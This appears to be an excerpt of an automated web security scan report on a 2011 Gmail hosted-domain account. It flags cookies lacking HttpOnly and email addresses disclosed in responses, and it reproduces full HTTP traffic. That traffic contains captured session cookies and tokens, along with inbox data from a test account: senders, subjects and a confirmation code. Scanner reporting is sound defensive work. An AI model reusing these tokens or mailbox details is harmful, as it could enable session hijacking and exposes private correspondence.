X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 2951

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["ub",[["^cob-processed-gmr",1294446612937]
,["^i",1294446612937]
,["^f",1294446625314]
,["Misc",1294446625314]
,["^k",1294446625314]
,["Fo
...[SNIP]...
3.3. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /a/%domain.name%/ HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294071746:S=9So_1fzaVrYTmRlB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:24 GMT
X-DNS-Prefetch-Control: off
Set-Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; Path=/a/%domain.name%
Set-Cookie: GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; Path=/a/%domain.name%
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 63745

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>%domain.name% Mail</title>
<meta name="application-name" content="%domain.name% Mail">
<meta name
...[SNIP]...
3.4. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=24..&view=omni&_reqid=566657&pcd=1&mb=0&rt=j HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GMAIL_STAT_24=/S:v=2&a=o&sv=tl&ev=cv&t=194&ai=mail%3Ao.24.1.0; GMAIL_IMP=v*2%2Fbc-se-0%2Fbc-se-3%2Fcv-v%2Fcv-pfn*0%2Fad-p-cv_p%2Fcv-p%2Fad-l-cv_p%2Fbc-c*1%2Fpf-s*4996; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:34 GMT
Set-Cookie: GMAIL_IMP=EXPIRED; Expires=Fri, 07-Jan-2011 00:30:34 GMT; Path=/a/%domain.name%
Set-Cookie: GMAIL_STAT_24=EXPIRED; Expires=Fri, 07-Jan-2011 00:30:34 GMT; Path=/a/%domain.name%
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 1858

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["di",28]
,["ub",[["^cob-processed-gmr",1294446612937]
,["^i",1294446612937]
,["^f",1294446625314]
,["Misc",1294446625314]
,["^k",129444662
...[SNIP]...
3.5. http://mail.google.com/a/%domain.name%/channel/bind  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/channel/bind

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /a/%domain.name%/channel/bind?VER=8&at=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA&it=2939&RID=rpc&SID=A13D731ACC1CF09E&CI=1&AID=9&TYPE=xmlhttp&zx=g7jx2j4qlvcm&t=1 HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GMAIL_IMP=v*2%2Fbc-se-8%2Fbc-se-8%2Fbc-se-11%2Fr-cs*1064%2Fpf-s*8163; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl

Response

HTTP/1.1 400 Unknown SID
Content-Type: text/html; charset=UTF-8
Set-Cookie: GXAS=%domain.name%=DQAAAJ0AAACHxp6bkMIOmbFxDj_J8GYjdpQDo95bseANWAaxDkMB9AI-njfI0VFCo1G7r7hISTCExTkhijqmh6L_kJ4LFxstGv7rBwWeWejwgLZqsx6QJTDlst5O5s0Db8VsDLZc8-KFIEAmycZI--BP-V899RY9mNTs3SIz4UrMEtahr96EZulqusZDZxQpZhgB4XwJpT4A0xkWWCxgv9OEdl83ziOH; Path=/a/
Set-Cookie: S=gmail=2n-kC86oDsLFxjyU2kgrlQ:gmproxy=3mj1Lixj0hY26W_vYSEMlw; Path=/a/%domain.name%
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 13 Jan 2011 01:13:38 GMT
Content-Length: 145
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE

<HTML>
<HEAD>
<TITLE>Unknown SID</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Unknown SID</H1>
<H2>Error 400</H2>
</BODY>
</HTML>
3.6. http://mail.google.com/a/%domain.name%/channel/test  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/channel/test

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /a/%domain.name%/channel/test?VER=8&at=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA&it=297&MODE=init&zx=ktimrg70efpg&t=1 HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; GMAIL_IMP=v*2%2Fad-ra-tl_i%2Fad-nr-tl_i-f*1%2Fad-v-tl_i*2013%2Fad-ds-tl_i-f*1%2Ffn-v-ad%2Fpf-s*3139; gmailchat=victim.test.account.net/493125; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl

Response

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Set-Cookie: GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_2zXBavbxuCRDWY-rrGU9ME2Kllz3JXZJJfF6LUtfV4P_b4c2tD06dVyF9apswUBY5OGxNvH3JVmKienz_pzlQZYDGsn1ZBFnZP6UzIEbgGVqGZ_vjtvWLE_WWSdmC0fqoD5A0_03kAR01qjGSiTxFD_vawbEtlFuszpWGLeOgJo20flFOJewbPzTIMpL0bAL; Path=/a/
Set-Cookie: S=gmail=zToXYC8jpL5rugz0J6IpyQ:gmproxy=TxotM9DUCmREqRHaEVn-MA; Path=/a/%domain.name%
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 13 Jan 2011 01:13:02 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 6
Server: GSE

["b"]
4. Email addresses disclosed  previous  next
There are 11 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

4.1. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following email addresses were disclosed in the response:

Request

GET /a/%domain.name%/ HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294071746:S=9So_1fzaVrYTmRlB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 03:28:58 GMT
X-DNS-Prefetch-Control: off
Set-Cookie: S=gmail=wt1AtOgdOfOLRemVgo6zfw:gmproxy=u8NtcDL_gFdpD3EmtbWKHA; Path=/a/%domain.name%
Set-Cookie: GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; Path=/a/%domain.name%
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 63153

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>%domain.name% Mail</title>
<meta name="application-name" content="%domain.name% Mail">
<meta name
...[SNIP]...
inbox",[]
,"62",-1,0,84,0,[]
,[]
]
,["tb",0,[["12d6377101db28bc","12d6377101db28bc","12d6377101db28bc",1,0,["^all","^i","^o","^smartlabel_notification"]
,[]
,"\u003cspan class\u003d\"yP\" email\u003d\"noreply@connect.symantec.com\"\u003enoreply\u003c/span\u003e","\u0026raquo;\u0026nbsp;","Account details for kh01920 at Symantec Connect","kh01920, Thank you for registering at Symantec Connect. Welcome to the community! Please f
...[SNIP]...
6a47f5032","12d63766a47f5032","12d63766a47f5032",0,0,["^all","^i","^smartlabel_notification"]
,["^all","^cob-processed-gmr","^i","^smartlabel_notification"]
,"\u003cspan class\u003d\"zF\" email\u003d\"donotreply@symantec.com\"\u003eSymAccount\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eSymAccount Registration Confirmation\u003c/b\u003e","Congratulations! You have successfully creat
...[SNIP]...
8:31 PM",1294453862883064,,[]
,,0,[]
,,[]
]
,["12d6307c28715b59","12d6307c28715b59","12d6307c28715b59",1,0,["^all","^i","^o","^smartlabel_notification"]
,[]
,"\u003cspan class\u003d\"yP\" email\u003d\"no-reply@foxsports.com\"\u003eFox Sports\u003c/span\u003e","\u0026raquo;\u0026nbsp;","FOXSports.com Account Verification","Dear FOXSports.com Member, Welcome to the FOXSports.com community. Please verify your email \u0026he
...[SNIP]...
93776","12d6136ecca93776",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eMission Critical Applications: Gain Maximum Uptime\u003c/b\u003e","If your email program h
...[SNIP]...
cd5db","12d602a4df0cd5db",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWeekly Recap | 22 New Reports\u003c/b\u003e","If your email program has trouble displaying
...[SNIP]...
2d5cd1402cb670c","12d5cd1402cb670c",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eMainframe Development Talent: Is Scarcity a Reality\u003c/b\u003e","If your email program
...[SNIP]...
ac35d","12d56462377ac35d",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eEndpoint Visibility and Control: Assign Clear Ownership\u003c/b\u003e","If your email prog
...[SNIP]...
9425d","12d5284739a9425d","12d5284739a9425d",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eData Loss Prevention Toolkit: Safeguarding Sensitive Data\u003c/b\u003e","If your email pr
...[SNIP]...
1293975038445586,,[]
,,0,["Groupon"]
,,[]
]
,["12d43a867b1bdb0d","12d43a867b1bdb0d","12d43a867b1bdb0d",1,0,["^all","^i","^o","^smartlabel_notification"]
,[]
,"\u003cspan class\u003d\"yP\" email\u003d\"clubnintendo.noreply@noa.nintendo.com\"\u003eClub Nintendo\u003c/span\u003e","\u0026raquo;\u0026nbsp;","Club Nintendo Child's Registration Request","Hello, Your email was provided to us by a child who has identified you as his or her pare
...[SNIP]...
","12d432ea130aaa55","12d432ea130aaa55",0,0,["^all","^i","^smartlabel_notification"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_notification"]
,"\u003cspan class\u003d\"zF\" email\u003d\"info@netflix.com\"\u003eNetflix\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eStart your Netflix free trial today!\u003c/b\u003e","Finish signing up for your FREE trial and insta
...[SNIP]...
f84b1","12d3c1bdd50f84b1",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWeekly Recap | 19 Complimentary Reports\u003c/b\u003e","If your email program has trouble
...[SNIP]...
"12d39fe441848c77",0,0,["^all","^i","^io_hi","^o","^smartlabel_personal"]
,["^all","^cob-processed-gmr","^i","^ia","^io_hi","^io_ns","^smartlabel_personal"]
,"\u003cspan class\u003d\"zF\" email\u003d\"test@test.cloudscan.us\"\u003etest\u003c/span\u003e (13)","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003etest\u003c/b\u003e","test",0,"","","\u003cb\u003e12/30/10\u003c/b\u003e","Thu, Dec 30, 2010 at 7:1
...[SNIP]...
2d38c4899853798","12d38c4899853798",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eThe CIO's View of Enterprise Key Management\u003c/b\u003e","If your email program has trou
...[SNIP]...
83ccb","12d327010dd83ccb",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eEndpoint Visibility and Control: Better Map Risks and Controls\u003c/b\u003e","If your ema
...[SNIP]...
",1293628748802939,,[]
,,0,["Groupon"]
,,[]
]
,["12d2fe63f83c6dcc","12d2fe63f83c6dcc","12d2fe63f83c6dcc",1,0,["^all","^i","^o","^smartlabel_newsletter"]
,[]
,"\u003cspan class\u003d\"yP\" email\u003d\"tagged@taggedmail.com\"\u003eTagged\u003c/span\u003e","\u0026raquo;\u0026nbsp;","Confirmation code: jwfcao","Confirmation code: jwfcao Please enter this code on the \u0026quot;Confirm your account\u0026quot; page or \u0026
...[SNIP]...
10e2a","12d2e77d54f10e2a","12d2e77d54f10e2a",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eData Loss Prevention: The Vendor Landscape\u003c/b\u003e","If your email program has troub
...[SNIP]...
2d2db9e2374ba64","12d2db9e2374ba64",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWireless in Network Integration: Boost Throughput\u003c/b\u003e","If your email program ha
...[SNIP]...
6b9bb1da5","12d1f3a6b9bb1da5","12d1f3a6b9bb1da5",0,0,["^all","^i","^smartlabel_notification"]
,["^all","^cob-processed-gmr","^i","^smartlabel_notification"]
,"\u003cspan class\u003d\"zF\" email\u003d\"info@netflix.com\"\u003eNetflix\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWe're still saving your free trial!\u003c/b\u003e","You\u0026#39;re just a few minutes away from get
...[SNIP]...
]
]
,["12d14e51cea36bdb","12d14e51cea36bdb","12d14e51cea36bdb",0,0,["^all","^i","^smartlabel_promo"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo"]
,"\u003cspan class\u003d\"zF\" email\u003d\"info@netflix.com\"\u003eNetflix\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eYour Netflix FREE trial is ready! Unlimited TV episodes \u0026amp; movies\u003c/b\u003e","Finish sig
...[SNIP]...
bd1fe","12d13f99561bd1fe","12d13f99561bd1fe",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eThe CIO's View of Security and Cloud Computing: Assuring the Confidentiality, Integrity...
...[SNIP]...
"12d10e03335251ce","12d10e03335251ce","12d10e03335251ce",0,0,["^all","^i","^smartlabel_personal"]
,["^all","^cob-processed-gmr","^i","^smartlabel_personal"]
,"\u003cspan class\u003d\"zF\" email\u003d\"marc@surfline.com\"\u003eMarc Beaty\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eSurfline Video Submission\u003c/b\u003e","Thank you for submitting your video to Surfline. We wil
...[SNIP]...
e8f3c5fb1512","12d0e8f3c5fb1512",0,0,["^all","^i","^io_hi","^smartlabel_personal"]
,["^all","^cob-processed-gmr","^i","^ia","^io_hi","^smartlabel_personal"]
,"\u003cspan class\u003d\"zF\" email\u003d\"cnbcmembershipservices@cnbc.com\"\u003ecnbcmembershipservices\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eCNBC Profile Update Confirmation\u003c/b\u003e","T As a matter of courtesy, we would
...[SNIP]...
d0e63d3c9996ca","12d0e63d3c9996ca",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eEndpoint Visibility and Control: Maintain Consistent Policies\u003c/b\u003e","If your emai
...[SNIP]...
e22e9","12d0a6beebee22e9","12d0a6beebee22e9",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eSafeguard Data \u0026amp; Reduce the Total Cost of Data Protection\u003c/b\u003e","If your
...[SNIP]...
d09451fa4fef64","12d09451fa4fef64",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWireless in Network Integration: Boost Throughput\u003c/b\u003e","If your email program ha
...[SNIP]...
21900","12d04f212e521900",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eMission Critical Applications: Gain Maximum Uptime\u003c/b\u003e","If your email program h
...[SNIP]...
e5a25","12cf4d9d34ce5a25",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
